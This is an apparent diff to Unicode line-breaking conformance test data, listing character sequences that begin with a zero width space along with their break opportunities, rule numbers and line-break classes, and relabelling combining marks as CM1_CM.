+× 200B ÷ 0308 × 0021 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 200B ÷ 0308 × 0020 × 0021 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 200B ÷ 00A0 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 200B × 0020 ÷ 00A0 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 200B ÷ 0308 × 00A0 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 00A0 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 200B ÷ 0308 × 00A0 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 00A0 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 200B ÷ AC00 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 200B × 0020 ÷ AC00 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 200B ÷ 0308 ÷ AC00 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ AC00 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 200B ÷ 0308 ÷ AC00 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ AC00 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 200B ÷ AC01 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 200B × 0020 ÷ AC01 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 200B ÷ 0308 ÷ AC01 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ AC01 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 200B ÷ 0308 ÷ AC01 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ AC01 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 200B ÷ 05D0 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 200B × 0020 ÷ 05D0 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 200B ÷ 0308 × 05D0 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 05D0 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 200B ÷ 0308 × 05D0 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 05D0 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 200B ÷ 002D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 200B × 0020 ÷ 002D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 200B ÷ 0308 × 002D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 002D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 200B ÷ 0308 × 002D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 002D ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 200B ÷ 231A ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] WATCH (ID) ÷ [0.3]
× 200B × 0020 ÷ 231A ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] WATCH (ID) ÷ [0.3]
-× 200B ÷ 0308 ÷ 231A ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 231A ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 200B ÷ 0308 ÷ 231A ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 231A ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 200B ÷ 2024 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] ONE DOT LEADER (IN) ÷ [0.3]
× 200B × 0020 ÷ 2024 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 200B ÷ 0308 × 2024 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 2024 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 200B ÷ 0308 × 2024 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 2024 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 200B ÷ 002C ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMMA (IS) ÷ [0.3]
× 200B × 0020 ÷ 002C ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] COMMA (IS) ÷ [0.3]
-× 200B ÷ 0308 × 002C ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 200B ÷ 0308 × 0020 × 002C ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 200B ÷ 0308 × 002C ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 200B ÷ 0308 × 0020 × 002C ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 200B ÷ 1100 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 200B × 0020 ÷ 1100 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 200B ÷ 0308 ÷ 1100 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 1100 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 200B ÷ 0308 ÷ 1100 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 1100 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 200B ÷ 11A8 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 200B × 0020 ÷ 11A8 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 200B ÷ 0308 ÷ 11A8 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 11A8 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 200B ÷ 0308 ÷ 11A8 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 11A8 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 200B ÷ 1160 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 200B × 0020 ÷ 1160 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 200B ÷ 0308 ÷ 1160 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 1160 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 200B ÷ 0308 ÷ 1160 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 1160 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 200B × 000A ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 200B × 0020 × 000A ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 200B ÷ 0308 × 000A ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 200B ÷ 0308 × 0020 × 000A ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 200B ÷ 0308 × 000A ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 200B ÷ 0308 × 0020 × 000A ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 200B × 0085 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 200B × 0020 × 0085 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 200B ÷ 0308 × 0085 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 200B ÷ 0308 × 0020 × 0085 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 200B ÷ 0308 × 0085 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 200B ÷ 0308 × 0020 × 0085 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 200B ÷ 17D6 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 200B × 0020 ÷ 17D6 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 200B ÷ 0308 × 17D6 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 17D6 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 200B ÷ 0308 × 17D6 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 17D6 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 200B ÷ 0030 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] DIGIT ZERO (NU) ÷ [0.3]
× 200B × 0020 ÷ 0030 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] DIGIT ZERO (NU) ÷ [0.3]
-× 200B ÷ 0308 × 0030 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 0030 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 200B ÷ 0308 × 0030 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 0030 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 200B ÷ 0028 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 200B × 0020 ÷ 0028 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 200B ÷ 0308 × 0028 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 0028 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 200B ÷ 0308 × 0028 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 0028 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 200B ÷ 0025 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] PERCENT SIGN (PO) ÷ [0.3]
× 200B × 0020 ÷ 0025 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] PERCENT SIGN (PO) ÷ [0.3]
-× 200B ÷ 0308 ÷ 0025 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 0025 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 200B ÷ 0308 × 0025 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 0025 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 200B ÷ 0024 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] DOLLAR SIGN (PR) ÷ [0.3]
× 200B × 0020 ÷ 0024 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 200B ÷ 0308 ÷ 0024 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 0024 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 200B ÷ 0308 × 0024 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 0024 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 200B ÷ 0022 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] QUOTATION MARK (QU) ÷ [0.3]
× 200B × 0020 ÷ 0022 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] QUOTATION MARK (QU) ÷ [0.3]
-× 200B ÷ 0308 × 0022 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ 0022 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 200B ÷ 0308 × 0022 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ 0022 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 200B × 0020 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [0.3]
× 200B × 0020 × 0020 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 200B ÷ 0308 × 0020 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 200B ÷ 0308 × 0020 × 0020 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 200B ÷ 0308 × 0020 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 200B ÷ 0308 × 0020 × 0020 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 200B ÷ 002F ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] SOLIDUS (SY) ÷ [0.3]
× 200B × 0020 ÷ 002F ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] SOLIDUS (SY) ÷ [0.3]
-× 200B ÷ 0308 × 002F ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 200B ÷ 0308 × 0020 × 002F ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 200B ÷ 0308 × 002F ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 200B ÷ 0308 × 0020 × 002F ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 200B ÷ 2060 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] WORD JOINER (WJ) ÷ [0.3]
× 200B × 0020 ÷ 2060 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) ÷ [8.0] WORD JOINER (WJ) ÷ [0.3]
-× 200B ÷ 0308 × 2060 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 200B ÷ 0308 × 0020 × 2060 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 200B ÷ 0308 × 2060 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 200B ÷ 0308 × 0020 × 2060 ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 200B × 200B ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 200B × 0020 × 200B ÷ # × [0.3] ZERO WIDTH SPACE (ZW) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 200B ÷ 0308 × 200B ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 200B ÷ 0308 × 0020 × 200B ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 200B ÷ 0308 × 200B ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 200B ÷ 0308 × 0020 × 200B ÷ # × [0.3] ZERO WIDTH SPACE (ZW) ÷ [8.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
